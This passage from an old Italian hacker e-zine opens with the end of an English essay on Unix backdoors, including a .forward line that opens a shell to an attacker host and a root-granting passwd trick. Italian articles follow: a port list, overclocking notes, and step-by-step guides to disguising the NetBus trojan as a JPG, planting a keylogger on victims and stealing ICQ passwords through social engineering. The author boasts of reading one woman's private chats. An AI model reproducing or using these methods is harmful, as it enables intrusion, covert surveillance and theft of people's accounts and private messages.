the work of exploiting a hole to gain access.
In some cases, if the intruder may think the administrator may detect any
installed backdoor, they will resort to using the vulnerability repeatedly
to get on a machine as the only backdoor.
Thus not touching anything that
may tip off the administrator.
Therefore in some cases, the
vulnerabilities on a machine remain the only unnoticed backdoor.
Password Cracking Backdoor
One of the first and oldest methods of intruders used to gain not only
access to a Unix machine but backdoors was to run a password cracker. This
uncovers weak passworded accounts. All these new accounts are now possible
backdoors into a machine even if the system administrator locks out the
intruder's current account. Many times, the intruder will look for unused
accounts with easy passwords and change the password to something
difficult. When the administrator looked for all the weak passworded
accounts, the accounts with modified passwords will not appear. Thus the
administrator will not be able to easily determine which accounts to lock
out.
Rhosts + + Backdoor
On networked Unix machines, services like Rsh and Rlogin used a simple
authentication method based on hostnames that appear in rhosts. A user
could easily configure which machines not to require a password to log
into. An intruder that gained access to someone's rhosts file could put a
"+ +" in the file and that would allow anyone from anywhere to log into
that account without a password. Many intruders use this method especially
when NFS is exporting home directories to the world.
These accounts
become backdoors for intruders to get back into the system. Many intruders
prefer using Rsh over Rlogin because it is many times lacking any logging
capability. Many administrators check for "+ +" therefore an intruder may
actually put in a hostname and username from another compromised account on
the network, making it less obvious to spot.
Checksum and Timestamp Backdoors
Early on, many intruders replaced binaries with their own trojan versions.
Many system administrators relied on time-stamping and the system checksum
programs, e.g., Unix's sum program, to try to determine when a binary file
has been modified. Intruders have developed technology that will recreate
the same time-stamp for the trojan file as the original file. This is
accomplished by setting the system clock time back to the original file's
time and then adjusting the trojan file's time to the system clock. Once
the binary trojan file has the exact same time as the original, the system
clock is reset to the current time. The sum program relies on a CRC
checksum and is easily spoofed. Intruders have developed programs that
would modify the trojan binary to have the necessary original checksum,
thus fooling the administrators. MD5 checksums is the recommended choice
to use today by most vendors. MD5 is based on an algorithm that no one has
yet to date proven can be spoofed.
Login Backdoor
On Unix, the login program is the software that usually does the password
authentication when someone telnets to the machine. Intruders grabbed the
source code to login.c and modified it that when login compared the user's
password with the stored password, it would first check for a backdoor
password. If the user typed in the backdoor password, it would allow you to
log in regardless of what the administrator sets the passwords to. Thus
this allowed the intruder to log into any account, even root.
The
password backdoor would spawn access before the user actually logged in and
appeared in utmp and wtmp. Therefore an intruder could be logged in and
have shell access without it appearing anyone is on that machine as that
account. Administrators started noticing these backdoors especially if
they did a "strings" command to find what text was in the login program.
Many times the backdoor password would show up. The intruders then
encrypted or hid the backdoor password better so it would not appear by
just doing strings. Many of the administrators can detect these backdoors
with MD5 checksums.
Telnetd Backdoor
When a user telnets to the machine, inetd service listens on the port and
receive the connection and then passes it to in.telnetd, that then runs
login. Some intruders knew the administrator was checking the login
program for tampering, so they modified in.telnetd. Within in.telnetd, it
does several checks from the user for things like what kind of terminal the
user was using. Typically, the terminal setting might be Xterm or VT100.
An intruder could backdoor it so that when the terminal was set to
"letmein", it would spawn a shell without requiring any authentication.
Intruders have backdoored some services so that any connection from a
specific source port can spawn a shell.
Services Backdoor
Almost every network service has at one time been backdoored by an
intruder. Backdoored versions of finger, rsh, rexec, rlogin, ftp, even
inetd, etc., have been floating around forever. There are programs that
are nothing more than a shell connected to a TCP port with maybe a backdoor
password to gain access. These programs sometimes replace a service like
uucp that never gets used or they get added to the inetd.conf file as a new
service. Administrators should be very wary of what services are running
and analyze the original services by MD5 checksums.
Cronjob backdoor
Cronjob on Unix schedules when certain programs should be run. An intruder
could add a backdoor shell program to run between 1 AM and 2 AM. So for 1
hour every night, the intruder could gain access. Intruders have also
looked at legitimate programs that typically run in cronjob and built
backdoors into those programs as well.
Library backdoors
Almost every UNIX system uses shared libraries. The shared libraries are
intended to reuse many of the same routines thus cutting down on the size
of programs. Some intruders have backdoored some of the routines like
crypt.c and _crypt.c. Programs like login.c would use the crypt() routine
and if a backdoor password was used it would spawn a shell. Therefore,
even if the administrator was checking the MD5 of the login program, it was
still spawning a backdoor routine and many administrators were not checking
the libraries as a possible source of backdoors.
One problem for many intruders was that some administrators started MD5
checksums of almost everything. One method intruders used to get around
that is to backdoor the open() and file access routines. The backdoor
routines were configured to read the original files, but execute the trojan
backdoors. Therefore, when the MD5 checksum program was reading these
files, the checksums always looked good. But when the system ran the
program, it executed the trojan version. Even the trojan library itself,
could be hidden from the MD5 checksums.
One way to an administrator could
get around this backdoor was to statically link the MD5 checksum checker
and run on the system. The statically linked program does not use the
trojan shared libraries.
Kernel backdoors
The kernel on Unix is the core of how Unix works. The same method used for
libraries for bypassing MD5 checksum could be used at the kernel level,
except even a statically linked program could not tell the difference. A
good backdoored kernel is probably one of the hardest to find by
administrators, fortunately kernel backdoor scripts have not yet been
widely made available and no one knows how wide spread they really are.
File system backdoors
An intruder may want to store their loot or data on a server somewhere
without the administrator finding the files. The intruder's files can
typically contain their toolbox of exploit scripts, backdoors, sniffer
logs, copied data like email messages, source code, etc.
To hide these
sometimes large files from an administrator, an intruder may patch the
files system commands like "ls", "du", and "fsck" to hide the existence of
certain directories or files. At a very low level, one intruder's backdoor
created a section on the hard drive to have a proprietary format that was
designated as "bad" sectors on the hard drive. Thus an intruder could
access those hidden files with only special tools, but to the regular
administrator, it is very difficult to determine that the marked "bad"
sectors were indeed storage area for the hidden file system.
Bootblock backdoors
In the PC world, many viruses have hid themselves within the bootblock
section and most antivirus software will check to see if the bootblock has
been altered. On Unix, most administrators do not have any software that
checks the bootblock, therefore some intruders have hidden some backdoors
in the bootblock area.
Process hiding backdoors
An intruder many times wants to hide the programs they are running. The
programs they want to hide are commonly a password cracker or a sniffer.
There are quite a few methods and here are some of the more common:
An intruder may write the program to modify its own argv[] to make it look
like another process name.
An intruder could rename the sniffer program to a legitimate service like
in.syslog and run it. Thus when an administrator does a "ps" or looks at
what is running, the standard service names appear.
An intruder could modify the library routines so that "ps" does not show
all the processes.
An intruder could patch a backdoor or program into an interrupt driven
routine so it does not appear in the process table. An example backdoor
using this technique is amod.tar.gz available on
http://star.niimm.spb.su/~maillist/bugtraq.1/0777.html
An intruder could modify the kernel to hide certain processes as well.
Rootkit
One of the most popular packages to install backdoors is rootkit. It can
easily be located using Web search engines. From the Rootkit README, here
are the typical files that get installed:
z2 - removes entries from utmp, wtmp, and lastlog.
Es - rokstar's ethernet sniffer for sun4 based kernels.
Fix - try to fake checksums, install with same dates/perms/u/g.
Sl - become root via a magic password sent to login.
Ic - modified ifconfig to remove PROMISC flag from output.
ps: - hides the processes.
Ns - modified netstat to hide connections to certain machines.
Ls - hides certain directories and files from being listed.
du5 - hides how much space is being used on your hard drive.
ls5 - hides certain files and directories from being listed.
Network traffic backdoors
Not only do intruders want to hide their tracks on the machine, but also
they want to hide their network traffic as much as possible. These network
traffic backdoors sometimes allow an intruder to gain access through a
firewall. There are many network backdoor programs that allow an intruder
to set up on a certain port number on a machine that will allow access
without ever going through the normal services. Because the traffic is
going to a non-standard network port, the administrator can overlook the
intruder's traffic. These network traffic backdoors are typically using
TCP, UDP, and ICMP, but it could be many other kinds of packets.
TCP Shell Backdoors
The intruder can set up these TCP Shell backdoors on some high port number
possibly where the firewall is not blocking that TCP port. Many times,
they will be protected with a password just so that an administrator that
connects to it, will not immediately see shell access. An administrator
can look for these connections with netstat to see what ports are listening
and where current connections are going to and from. Many times, these
backdoors allow an intruder to get past TCP Wrapper technology. These
backdoors could be run on the SMTP port, which many firewalls allow traffic
to pass for e-mail.
UDP Shell Backdoors
Administrator many times can spot a TCP connection and notice the odd
behavior, while UDP shell backdoors lack any connection so netstat would
not show an intruder accessing the Unix machine. Many firewalls have been
configured to allow UDP packets for services like DNS through. Many times,
intruders will place the UDP Shell backdoor on that port and it will be
allowed to by-pass the firewall.
ICMP Shell Backdoors
Ping is one of the most common ways to find out if a machine is alive by
sending and receiving ICMP packets. Many firewalls allow outsiders to ping
internal machines. An intruder can put data in the Ping ICMP packets and
tunnel a shell between the pinging machines. An administrator may notice a
flurry of Ping packets, but unless the administrator looks at the data in
the packets, an intruder can be unnoticed.
Encrypted Link
An administrator can set up a sniffer trying to see data appears as someone
accessing a shell, but an intruder can add encryption to the Network
traffic backdoors and it becomes almost impossible to determine what is
actually being transmitted between two machines.
Windows NT
Because Windows NT does not easily allow multiple users on a single machine
and remote access similar as Unix, it becomes harder for the intruder to
break into Windows NT, install a backdoor, and launch an attack from it.
Thus you will find more frequently network attacks that are spring boarded
from a Unix box than Windows NT. As Windows NT advances in multi-user
technologies, this may give a higher frequency of intruders who use Windows
NT to their advantage. And if this does happen, many of the concepts from
Unix backdoors can be ported to Windows NT and administrators can be ready
for the intruder. Today, there are already telnet daemons available for
Windows NT. With Network Traffic backdoors, they are very feasible for
intruders to install on Windows NT.
Solutions
As backdoor technology advances, it becomes even harder for administrators
to determine if an intruder has gotten in or if they have been successfully
locked out.
Assessment
One of the first steps in being proactive is to assess how vulnerable your
network is, thus being able to figure out what holes exist that should be
fixed. Many commercial tools exist to help scan and audit the network and
systems for vulnerabilities. Many companies could dramatically improve
their security if they only installed the security patches made freely
available by their vendors.
MD5 Baselines
One necessary component of a system scanner is MD5 checksum baselines.
This MD5 baseline should be built up before a hacker attack with clean
systems. Once a hacker is in and has installed backdoors, trying to create
a baseline after the fact could incorporate the backdoors into the
baseline. Several companies had been hacked and had backdoors installed on
their systems for many months. Overtime, all the backups of the systems
contained the backdoors.
When some of these companies found out they had
a hacker, they restored a backup in hopes of removing any backdoors. The
effort was futile since they were restoring all the files, even the
backdoored ones. The binary baseline comparison needs to be done before an
attack happens.
Intrusion detection
Intrusion detection is becoming more important as organizations are hooking
up and allowing connections to some of their machines. Most of the older
intrusion detection technology was log-based events. The latest intrusion
detection system (IDS) technology is based on real-time sniffing and
network traffic security analysis. Many of the network traffic backdoors
can now easily be detected. The latest IDS technology can take a look at
the DNS UDP packets and determine if it matches the DNS protocol requests.
If the data on the DNS port does not match the DNS protocol, an alert flag
can be signaled and the data captured for further analysis.
The same
principle can be applied to the data in an ICMP packet to see if it is the
normal ping data or if it is carrying encrypted shell session.
Boot from CD-ROM.
Some administrators may want to consider booting from CD-ROM thus
eliminating the possibility of an intruder installing a backdoor on the
CD-ROM. The problem with this method is the cost and time of implementing
this solution enterprise wide.
Vigilant
Because the security field is changing so fast, with new vulnerabilities
being announced daily and intruders are constantly designing new attack and
backdoor techniques, no security technology is effective without vigilance.
Be aware that no defense is foolproof, and that there is no substitute for
diligent attention.
------------------------------------------------------------------------you may want to add:
.forward Backdoor
On Unix machines, placing commands into the .forward file was also
a common method of regaining access. For the account ``username''
a .forward file might be constructed as follows:
\username
|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e /bin/sh"
permutations of this method include alteration of the systems mail
aliases file (most commonly located at /etc/aliases). Note that
this is a simple permutation, the more advanced can run a simple
script from the forward file that can take arbitrary commands via
stdin (after minor preprocessing).
PS: The above method is also useful gaining access a companies
mailhub (assuming there is a shared a home directory FS on
the client and server).
> Using smrsh can effectively negate this backdoor (although it's quite
> possibly still a problem if you allow things like elm's filter or
> procmail which can run programs themselves...).
--------------------------------------------------------------------------you may want to add this "feature" that can act as a backdoor:
when specifying a wrong uid/gid in the /etc/password file,
most login(1) implementations will fail to detect the wrong
uid/gid and atoi(3) will set uid/gid to 0, giving superuser
privileges.
example:
rmartin:x:x50:50:R. Martin:/home/rmartin:/bin/tcsh
on Linux boxes, this will give uid 0 to user rmartin.
Christopher Klaus
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³
LISTA PORTE
³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Fate Goool....ma nella giusta porta !!!
Beh...io direi che ad un newbie (e non) la lista di tutte le porte, o quasi,
serve SiemprE ! Sorseggio un sorso del mio Barolo, 2450 bottiglie in tutto il
mondo.. porc'...vale quello che costa ve lo assicuro, ed inizio a fare sta
listozza.....
7- Echo
911- Info sugli user
13- Data e ora
15- Netstat ed info
19- Pours con ASCII
21- Ftp
2223- Login
25- Forge e-mail
37- Time
39- Rlp resource location
43- Whois
53- Dominio
67-Bootp
70- Gopmer
79- Finger
80- Server Web
87- Link
110-E-mail in entrata
113-Identp
119-Usenet Newsgroup
144-Newsk
443-Server Web
512-Biff notificazione posta
513-Login remoto
514-Remote command
515-Pkill
517-Ktalk
518-Ntalk
520-Information protocol
533-Netwall
560-Rmontior
561-Montior
750-Kerberos
Queste sono le porte che conosco, le altre....boh?!?!?
ahhahaha......divertitevi a cercarne altre......
So che siete dei tipi mooolto sEgaci.....ehmmm....sagaci...
lavorate di mano !!!! :)
Dante Alighieri
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
/---------------------------------------------------------------------\
|
N
E
T
B
U
S
|
\_____________________________________________________________________/
Salve a tutti!, questo e il mio 1ø articolo sul
l'ultimo, ihihih)...qui vi mostrero' trucchetti
netbus!... il primo trucco e quello di cambiare
apposito e il secondo e quello di richiamare il
applicazione...
NewBies (speriamo non sia
su come fregare gli utenti dal
l'icona con un programma
programma da un'altra
--------------------------COME CAMBIARE LE ICONE----------------------Adesso vi parlero' di un trucchetto imparato qualche settimana fa', che permette
di 'fottere' gli utenti, inviandogli la patch del netbus (il trojano) con
un'icona qualsiasi (un mp3, un jpg, un bmp , una dll,ecc)
-=====================================================================1. Innanzitutto prendete il programma MICROANGELO, (reperibile in rete...
Volftp)NON PRENDETE IL GIFTED CHE NON VI SERVE A UN CAZZO!
2. Aprite il librarian (col microangelo) e selezionate un'icona a piacimento...
3. Una volta dentro l'editor di icone, selezionate tutto e fate COPIA - Ctrl - C
4. Una volta che siete usciti, aprite la patch col LIBrARIAN, e aprite l'icona
principale (Quella con l'antenna parabolica..) e sucessivamente incollare
l'itero contenuto della clipboard (cioe', l'icona che avevamo copiato prima),
sopra l'icona della patch, adesso abbiamo una patch come si deve!!!
ALTRo MeTODO - PIU' BELLO - USATO FREQUENTEMENTE IN ICQ
1. Aprite il librarian...
2. Andate in C:\Programmi\Internet Explorer\Iexplore.exe e vedete il
contenuto...
3. Aprite l'icona dell'immagine jpg coll'editor...
4. Copiate con Ctrl - C
5. Prendete la patch e inseritegli la nuova icona...
6. Salvate il tutto e prendete il patchone appena modificato...
7. Rinominatelo in Pamela.jpg .exe (Cercate di mettere tutti gli spazi
possibili
tra .jpg e .exe) cosi' la vittima, alla ricezione del filez, non vedra'
l'ultima
parte infettandosi alla grande...
Alla ricezione del file, la vittima ricevera' questa finestra...
________________________________
|
|
| ICO Pamela.jpg
|
| ICO
|
| ICO
OPEN GOTODIR |
|________________________________|
Se sara' cosi'. allora la aprira' immediatamente, perche pensa che sia una vera
foto...
________________________________
|
|
| ICO Pamela.jpg
.exe |
| ICO
|
| ICO
OPEN GOTODIR |
|________________________________|
Se invece non avete inserito tutti gli spazi, sara' visibile il riquadro
sovrastante... :-)
PSSSSSSSSSSS
Se vi rompete i coglioni ad andare a cercare le icone, ne ho inserite alcune
nel file zip, Sephy
-----------------COME FARE APRIRE LA PATCH SENZA SOSPETTI-------------INNANZITUTTO CAMBIATE L'ICONA DELLA PATCH CON UNA DLL
Questo e un metodo alquanto bastardo (beh, lo devo dire anch'io...)
infatti, se sapete usare il visual basic o il C, potete semplicemente
compilare un programma che quando avviato, apre la patch e svolge il suo
lavoro... ad esempio... facciamo finta di aver creato alcune cartelle...
PROGGY
--->BIN
come vedremo, BIN e una sottodirectory di proggy... e li dentro metteremo la
patch, che rinomineremo come SySres.exe
Successivamente creeremo un programma qualsiasi ...
dopo aver finito tutto il listato, inserire questa stringa nel Form_Load
(quando si avvia il programma...)
X = Shell("Bin\sysres.exe", 1)
Come vediamo, il prog, chiama la patch all'interno della directory BIN
(se e' presente !)
Il prog si esegue senza problemi, non facendo pensare all'utente che il
trojan e' installato (chi lo capirebbe?)
P.s. se trovate altri metodi scrivetemi a [email protected]
Ciaoo!
Sephiroth
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³
KEY LOGGER QUESTO SCONOSCIUTO
³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Salve, sono sempre io (eheheh), questa volta vi parlo di un'altra cosa MOOOLTO
bella... i keylogger...
Per chi non lo sapesse, i keylogger, sono quei programmi che ti permettono di
vedere tutti i tasti che una persona ha premuto... questo viene usato dagli
amministratori di sistema ...
Pero', la cosa puo' diventare anke bella se li mettiamo alle vittime che abbiamo
infettato... infatti, una volta che siamo dentro il pc di un povero pirla,
possiamo uploadare il keylogger, e il giorno dopo potremo scaricare i log....
fico no?
In questa NewBies allego un mio files, contenente il programma ed una dll...
e un LNK (MOlto IMPORTANTE!!!)
Nonostante questa procedura sia da lamer, io mi diverto lo stesso...
l'altro giorno, scaricai i log di XXX (non metto il nome... comunque e una
DONNA...) col netbus, e vidi tutto il contenuto... tra i vari documenti che
lei aveva scritto vidi anche il log delle sue discussioni in ICQ... qui ne
riporto qualcuna...
-Ciao, sono XXX XXX, sono alta, cosce focose ma poche pere...
-Allora ci vedremo amoruccio mio, vorrei venire li e scopare con te fino
all'orgasmo...
Quindi, i msg parlano da soli... inoltre ho visto pure la password e il login
della vittima...
Quindi, le istruzioni per ottenere risualtati efficenti sono queste :
Uploadare i seguenti filez in:
FILE
DIR
WinMem
Qpro200.dll
WinMem.lnk
C:\Windows
C:\Windows\System
C:\Windows\Menuavvio\EsecuzioneAutomatica
Se si uploadano files in diverse locazioni, allora il programma non
funzionera'...
Per prendere i log, dovete andare nella dir C:\Win\logx
OTA CHE WIN NON STA PER WINDOWS, E UNA DIR A PARTE!!!!
Se avete ancora dubbi (argh..) mailatemi a [email protected] oppure
Contattatemi via ICQ... 23157482
CiAoZ
Sephiroth
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
****************************
* Overclocking by ULNTWH99 *
****************************
[email protected]
NB : se non avete letto l'art precedente a questo (per altro molto corto
leggetevelo o , se non avete gia' 1a buona conoscenza hardware , capirete
poco ...) .
Disclamer (lo sapete a memoria quindi non lo metto :P ) .
Ora riprendero' in tronco li' l'articolo da dove lo ho lasciato !
Come nell'ultima parte dell'art precedente ho spiegato accade "cosi'" anche
nei sistemi Pentium .
Prendiamo ad esempio un pentium MMX (dato che di solito sono le maccine di
vecchia data che vengono clokkate ...) a 166 MHz che deve essere montato da
specifiche su mainboard a 66 MHz .
La cpu , in questo caso , moltiplica il clock di 66 MHz per 1 fattore di 2,5x
ed ecco che interamente avremo la nostra frequenza di 166 MHz .
Ma come caxxo fara' la cpu a sapere di quanto deve moltiplicare il segnale di
clock che gli arriva dalla scheda madre ???
E' semplicemente 1a caxxata (N0bodY88 (c) hihihi fregato sul tempo ulnt :PPP)
(questo termine e' mio e guai a chi me lo copia okki nobody ???? ) !!!
Esistono infatti 3 coppie di pin (Bf0 , Bf1 , Bf2 , Bfi ...ahem ...no quella
non centra ...) modificabili da chiunque che servono proprio a questo .
In genere e' possibile modificare le impostazioni di Bf0 , 1 e 2 cambiando la
posizione dei relativi jumpers (o ponticelli) oppure tramite una serie di
microinterruttori .
Nota che questi pin non dicono alla cpu "Ue' usa il fattore 3,0x" ma a seconda
del valore logico (H o L) che essi hanno , la cpu interpreta la combinazione e
quindi si predispone ad utilizzare il fattore di moltiplicazione associato a
quella combinazione per la quale e' stata programmata .
Ad es x i Pentium "classici" quelli cioe' privi della tecnologia mmx , la
combinazione xyz viene "vista" come 1,5 ma non dai processori k6 : in tale
stato , infatti , la cpu amd moltiplichera' il segnale di clock per 3,5x .
La formula imp che bisogna ricordarsi e'
**************************************************************************
* Frequenza Cpu = Frequenza Mainboard * Fattore di Moltiplicazione Usato *
**************************************************************************
In definitiva , quindi , che cosa vuol dire "overcloccare" e come si fa ?
Overcloccare una cpu significa semplicemente spingere questo componente
elettronico a frequenze di clock superiori a quelle per la quale e' stata
testata e venduta .
Al proxximo numero by ULNTWH99
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
/---------------------------------------------------------------------\
|
I C Q - EXPLOIT - Ovvero, come fottere le pass :)
|
\_____________________________________________________________________/
IO NON MI ASSUMO NESSUNA RESPONSABILITA' SU TUTTO QUESTO... SE VI SBATTONO IN
GALERA SONO KAZZI VOSTRI :-)
Ciao a tutti, in questo piccolissimo articolo vi spiego un modo semplice
semplice per ottenere le password degli altri utenti di icq, per collegarsi
col LORO uin e vedere i messaggi che dovrebbe ricevere il povero proprietario!!
(e chissa'... anche HoT! ^_^)
Una volta che avete rubato la pass, potete fare un sacco di altre cose... tipo
CAMBIARE LE INFO!!! ad es. se la persona in questione e un uomo... inserite la
stringa :
"Sono gay dalla nascita... non provo vergogna a dirlo apertamente... mi piace
avere sesso con uomini..."
Naturalmente questo era un'esempio... voi potete inserire tutto quello che
volete!!! ma non ditelo alla vittima... potete pagarne le conseguenze....
Inoltre, se siete lamer da morire, potete cambiare la password all'utente
facendolo incazzare notevolmente!! (che ficata!!)
Passiamo dunque al dilemma maggiore... come rubare la pass... :-)
Il procedimento sembra difficile, ma in se X se... e un procedimento da
bambini...
1. Connettetevi alla rete ed aprite icq
2. Prendete qualke fesso Online...
3. Adesso mandategli un msg dicendo di cambiare la sua e-mail di icq, con quella
vostra solo per 5 minuti... e di dirti che appena avra' finito, dovra
mandarti
un msg di conferma... (Nota che se l'utente mette la sua e-mail, su icq non
verra' aggiornata subito... dopo circa una ventina di mint.)
---------------Adesso c'e la parte principale...----------------------4. Aprite IcqExploit.htm contenuto nel file zip Sephy.zip
5. Inserite nell'apposito spazio, il suo numero di icq... (fate un copia e
incolla...)
6. Premere RUBA PW e attendere qualke minuto...
7. Vi dovra' spuntare una pagina Html con la conferma della password.. e verra'
scritto pure dove verra' mandata.. se l'utente avra' veramente scritto la tua
e-mail allora la vedrete li'.. se invece della vostra, vedete la sua...
meglio
che scappate via di casa!!! :-)
8. Dopo una quindicina di minuti vi verra' spedita la password :-)
------------------- MA COSA FA DI PRECiSO ??? ------------------------nel file htm, una volta inserito l'uin del fesso, e dopo aver premuto RUBA PW.
il vostro browser si colleghera' alla pagina di ICQ, password dimenticate.. in
poche parole, voi avete fatto richiesta di aver smarrito la password e voi
l'hanno mandata all'indirizzo e-mail presente nel numero di ICQ dato... (Che
in quel momento era il vostro!!!) quindi... appena vedete la scritta :
"The password for UIN xxxxxxx was sent to e-mail [email protected]"
Potete sinceramente darvi una pacca sulla spalla e gridare forte:
sono un lamah :-D
Per commenti, critiche e denuncie (anzi, quest'ultima NO) mailatemi a
[email protected]
Sephiroth
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
------------------- http://utenti.tripod.it/SoftWord ------------------------------------------------- [email protected] -------------------------------------------------------- NickName: SoftWord -------------------------------******
*
* *
*
*
* *
*
*
*
*
*
*
*
* *
******
*
******
*
*****
*****
*
******
*****
*
*
*****
* *
* *
******
*
*
*
*
******
*
*
*
*
******
******
*
*
*
*
*
*
*
*
******
******
*
*
*
******
* *
* *
**
* *
* *
*
*
Dalla famosissima serie "Volemamo stupirvi con effetti speciali,
ma non avevamo un editor ASCII :-("
- Ore: 17:55;
- Consumo cibo: niente xkŠ sono in dieta, devo perdere 10 KG circa;
- Telefilm: BayWatch;
- Programma usato per editare questo testo: edit.com di WinDog 98;
- Sistema usato: WinCat/z 98;
Premessa:
Queste informazioni le ho prese da altre FAQ e file di testo per riviste, o
siti Internet specializzati in questi argomenti, e dalla mia esperienza in
questo campo ormai da 1 anno. Comunque se dovessi commettere errori le critiche sono ben accette (anche di ortografia ed italiano, sopratutto quello :-) )
ma solo quelle (sono da evitarsi insulti vari) oppure eventuali spiegazioni,
mandatele alla mia E-Mail: [email protected] (che penso proprio di cambiare visto che la Micro$oz non vuole proprio accelerare i server).
ULTIMA COSA MA PIU' IMPORTANTE, NON SONO RESPONSABILE DI EVENTUALI "FUMINI"
INDIANI CHE FUORIESCONO DAI VOSTRI CHIP, SCINTILLE O SCHERMI NERI CON HARDDISK E SCHEDE MADRI CHE NON SI ACCENDONO PIU'. LE MODIFICHE CHE FATE LE ESEGUITE VOI E NON IO QUINDI ESEGUITELI COME E SOLO COME VI DICO IO. IO VI DO'
I MIE CONSIGLI SU ESPERIENZE SIA MIE CHE QUELLE DI ALTRI A CUI SONO RIUSCITE
BENISSIMO. COMUNQUE VI CONSIGLIO DI FARVI DARE UNA MANO DA UN VOSTRO AMICO
CHE "MASTICA" UN PO DI ELETTRONICA.
+oO000000000Oo+
| I N D I C E |
+oO000000000Oo+
1. Overclock processori tutte le marche;
2. Overclock schede Voodoo versione 1 a 65 MHZ (non lo trovate da nessuna parte su come fare :-) Solo il vostro -=SoftWord=- ve lo dice);
3. I consigli del Clocker;
+oO000000000Oo+
1. Overclock processori tutte le marche:
i processori che ho overcloccato sono:
P90 overclockato a P120
P200 MMX overclockato a P250 MMX
Processore attuale:
AMD K6-2 3D 350 overclocato a 400
Con schede madri JetWay 542A ed una vecchia TMC 200MMX
Di norma per overclockare bene un processore bisogna prima alzare la frequenza del bus (quello per intenderci che inizia con 66/75/83/90/100/da 100 a
133), io consiglio vivamente questo xkŠ surriscalda meno il processore e aiuta
programmi tipo CPUIdle o Rain o altri a raffreddarla, proprio perchŠ questo
settaggio non riguarda proprio specificatamente la CPU ma quelle connesse ai
BUS PCI, AGP, ISA, ecc., proprio x questo bisogna fare molta attenzione a quelle periferiche tipo Hard-Disk vecchi che con frequenze non standard (che sono
la 75 e 83), possono manomettere il funzionamento dei loro chips. Per• con
varie prove effettuate ho notato che gli hard-disk di "marca" come Quantum,
Samsung, insomma le + consociute, non succede niente.
Se invece avete queste periferiche a "rischio" con queste frequenze di BUS
esterno allora potete provare ad alzare direttamente il moltiplicatore della
CPU. Questa Š una tavola (solo a scopo esplicativo) che dimostra come calcolare la frequenza esterna:
BUS Esterno | Moltiplicatore | Risultato velocit… in MHZ della CPU|
------------------------------------------------------------------66
|
1.5
|
100
|
75
|
1.5
|
120
|
83
|
1.5
|
130
|
90
|
1.5
|
140/150
|
100
|
1.5
|
150
|
------------+----------------+------------------------------------|
66
|
2.0
|
130
|
75
|
2.0
|
150
|
83
|
2.0
|
166
|
90
|
2.0
|
180
|
100
|
2.0
|
200
|
------------+----------------+------------------------------------|
66
|
2.5
|
166/170
|
75
|
2.5
|
180/190
|
83
|
2.5
|
200/210
|
90
|
2.5
|
233
|
100
|
2.5
|
250
|
------------+----------------+------------------------------------|
66
|
3.0
|
200
|
75
|
3.0
|
233
|
83
|
3.0
|
250
|
90
|
3.0
|
270/280
|
100
|
3.0
|
300
|
------------+----------------+------------------------------------|
66
|
3.5
|
233
|
75
|
3.5
|
266
|
83
|
3.5
|
290
|
90
|
3.5
|
320/333
|
100
|
3.5
|
350
|
------------+----------------+------------------------------------|
66
|
4.0
|
266
|
75
|
4.0
|
300
|
83
|
4.0
|
333
|
90
|
4.0
|
350/360
|
100
|
4.0
|
400
|
------------+----------------+------------------------------------|
66
|
4.5
|
300
|
75
|
4.5
|
333/340
|
83
|
4.5
|
380
|
90
|
4.5
|
400
|
100
|
4.5
|
450
|
------------+----------------+------------------------------------|
100
|
5.0
|
500
|
------------+----------------+------------------------------------|
P.S.: Non sono andato oltre xkŠ al momento in cui scrivo non ci sono processori capaci di andare oltre (senza overclock intendo).
Come avrete capito si tratta del prodotto tra moltiplicatore e BUS cioŠ per
ottenere una frequenza esterna di 400 ci sono molte possibilit…:
